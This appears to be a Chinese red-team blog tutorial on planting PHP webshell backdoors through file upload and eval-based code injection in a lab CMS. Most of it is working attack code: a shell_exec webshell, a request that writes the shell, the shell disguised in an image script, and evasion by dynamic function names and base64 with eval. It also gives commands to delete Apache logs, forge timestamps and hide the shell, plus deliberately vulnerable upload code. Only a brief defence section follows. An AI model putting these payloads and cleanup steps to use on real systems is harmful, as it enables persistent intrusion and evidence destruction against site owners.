0x01 为什么后门是攻击者的最爱?
在一次模拟渗透测试中,我的目标是一家中小型企业的网站,它运行在 PHP 环境上,使用 Apache 作为 Web 服务器,数据库是 MySQL。网站功能比较简单,主要用于展示企业信息和客户咨询。这样的架构很常见,安全防护却相对薄弱。

作为攻击者,网站后门的价值在于 持久化控制 和 后续利用。一旦我成功植入后门,就无需再重复执行复杂的漏洞攻击,可以直接通过后门来远程操控服务器。后门不仅能让攻击者随时访问目标,还能帮助隐匿攻击痕迹、绕过防御措施。
后门的植入点有很多,比如:
- 文件上传功能:通过上传一个伪装成图片的后门文件。
- 代码注入漏洞:利用 RCE(远程代码执行)直接写入后门脚本。
- 数据库操作:通过 SQL 注入将后门写入可执行文件路径或数据库字段。
- 第三方插件:篡改或替换网站的插件文件。
在接下来的内容中,我会分享如何从网站漏洞中植入后门,以及后门的免杀和隐蔽技巧。

---
0x02 实战环境搭建:模拟攻击场景
为了复现后门植入的全过程,我搭建了一个模拟环境,目标是一个运行在本地的 PHP 网站,架构如下:
- 操作系统:Ubuntu 20.04
- Web服务器:Apache 2.4
- 数据库:MySQL 8
- 网站代码:一个简单的 CMS,支持文件上传和用户留言功能
环境配置步骤
- 安装 Web 服务
<pre><code class="language-bash"> sudo apt update sudo apt install apache2 php libapache2-mod-php mysql-server `
- 下载 CMS 模板
我使用了一个开源的 PHP CMS,可以通过以下命令下载安装: `bash wget https://example.com/simplecms.zip unzip simplecms.zip -d /var/www/html/ `
- 配置文件上传漏洞
为了模拟实际环境中的漏洞,我故意修改了上传功能的代码,允许上传任意文件类型: `php // upload.php if (isset($_FILES['file'])) { $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["file"]["name"]);
// 没有对文件类型进行严格检查 if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { echo "File uploaded successfully."; } else { echo "Error uploading file."; } } `
- 启动服务
`bash sudo systemctl restart apache2 `
- 验证漏洞
通过上传一个带有恶意代码的 .php 文件,确认目标环境允许执行恶意文件。
---
0x03 后门植入实战:文件上传与代码注入

后门的植入方式有很多种,本次重点演示如何利用文件上传漏洞和代码注入漏洞来完成攻击。
文件上传方式植入后门
目标网站的上传功能没有严格检查文件后缀,我可以直接上传一个伪装成图片的 PHP 后门文件,比如 shell.php:</code></pre>php <?php // 简单的 PHP 后门,执行命令并返回结果 if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code> 上传后,我通过浏览器直接访问:</code></pre> http://target-site/uploads/shell.php?cmd=whoami <pre><code>此时,我可以看到服务器返回了当前用户信息,比如 www-data。
代码注入方式植入后门
如果目标网站存在 RCE 漏洞,我可以通过命令注入直接写入后门代码到服务器文件。例如,假设目标存在以下漏洞:</code></pre>php // vulnerable.php $cmd = $_GET['cmd']; eval($cmd); <pre><code>我可以通过以下请求直接写入后门:</code></pre> http://target-site/vulnerable.php?cmd=file_put_contents('uploads/shell.php', '<?php echo shell_exec($_GET["cmd"]); ?>') <pre><code> 这样后门文件 shell.php 就会被写入到目标目录,接下来只需访问该文件即可完成控制。
---
0x04 Payload 构造的艺术:隐蔽与绕过
一个好的后门不仅能正常工作,还必须足够隐蔽以避免被发现。我通常会采取以下策略:
隐藏后门代码
将后门代码伪装成正常的业务代码。例如,把后门嵌入到某个图片生成脚本中:</code></pre>php <?php function generate_image($width, $height) { // 图片生成代码... } // 伪装的后门代码 if (isset($_GET['cmd'])) { echo shell_exec($_GET['cmd']); } ?> <pre><code>
免杀技术:绕过安全检测
常见的后门如 shell_exec 很容易被安全工具检测,我会尝试以下几种绕过方法:
- 使用动态函数调用:
`php $func = 'shell' . '_exec'; echo $func($_GET['cmd']); `
- 使用编码绕过:
将后门代码进行 Base64 编码存储,运行时再解码执行: `php $payload = base64_decode('c2hlbGxfZXhlYygkX0dFVFsibWQiXSk7'); eval($payload); `
流量伪装
后门的流量容易被防火墙捕捉,我会将命令用 HTTP 请求中的图片参数伪装:</code></pre> http://target-site/uploads/shell.php?img=cmd=ls <pre><code> ---
0x05 痕迹清除:防止后门被发现
植入后门后的关键环节是清除痕迹。以下是我的常用技巧:
删除日志记录
目标服务器通常会记录访问日志,我会通过后门执行以下命令清理日志文件:</code></pre>bash rm -rf /var/log/apache2/access.log /var/log/apache2/error.log <pre><code>
修改文件时间戳
通过 touch 命令,将后门文件的时间戳修改为与其他文件一致:</code></pre>bash touch -r index.php uploads/shell.php <pre><code> 
隐藏后门文件
将后门文件移动到不容易被发现的目录,比如 .config 或 .cache:</code></pre>bash mv uploads/shell.php /var/www/html/.config/shell.php `
---
0x06 检测与防御:如何发现植入后门?
虽然后门能提供攻击者便利,但也有方法可以检测和防御。我总结了以下几种方式:
- 文件完整性检查
使用工具(如 Tripwire)定期检查服务器上的文件是否被篡改。
- 日志分析
通过分析日志文件,寻找可疑的文件访问记录。
- WAF(Web应用防火墙)
部署 WAF,可以有效过滤恶意流量。
- 禁用危险函数
在 PHP 配置中禁用 eval、shell_exec 等危险函数。
---
0x07 个人实战经验总结
后门植入是红队的一项核心技能,但也是最容易被发现的风险点。我的经验是:
- 伪装优先:后门代码一定要足够隐蔽,避免被管理员和工具轻易识别。
- 免杀技巧:绕过安全检测是关键,动态函数调用和编码方式是常用手段。
- 痕迹清除:每次植入后门后,一定要清理日志并修改时间戳,让后门文件看起来更像正常文件。
总之,后门植入不仅是一项技术,更是一门艺术。希望这篇文章能带给你一些新的思路。